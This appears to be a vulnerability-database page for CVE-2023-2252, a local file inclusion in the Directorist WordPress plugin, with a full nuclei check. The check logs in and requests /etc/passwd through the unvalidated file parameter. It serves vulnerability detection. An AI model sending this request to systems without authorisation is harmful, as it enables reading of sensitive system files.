HexBrain

Browse / CVEs / CVE-2023-2252

CVE-2023-2252· wpwax / directorist· CWE-22

Directorist < 7.5.4 - Local File Inclusion

lowseverity
2.7CVSS score
1.3%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it

Directorist before 7.5.4 is susceptible to Local File Inclusion as it does not validate the file parameter when importing CSV files.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Fixed in version 7.5.4

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-2252 -u <target>

The full check
id: CVE-2023-2252

info:
  name: Directorist < 7.5.4 - Local File Inclusion
  author: r3Y3r53
  severity: low
  description: |
    Directorist before 7.5.4 is susceptible to Local File Inclusion as it does not validate the file parameter when importing CSV files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: Fixed in version 7.5.4
  reference:
    - https://wpscan.com/vulnerability/9da6eede-10d0-4609-8b97-4a5d38fa8e69
    - https://wordpress.org/plugins/directorist/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2252
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 2.7
    cve-id: CVE-2023-2252
    cwe-id: CWE-22
    epss-score: 0.01342
    epss-percentile: 0.71589
    cpe: cpe:2.3:a:wpwax:directorist:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpwax
    product: directorist
    framework: wordpress
  tags: cve2023,cve,wpscan,lfi,directorist,wordpress,wp-plugin,wp,authenticated,wpwax,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from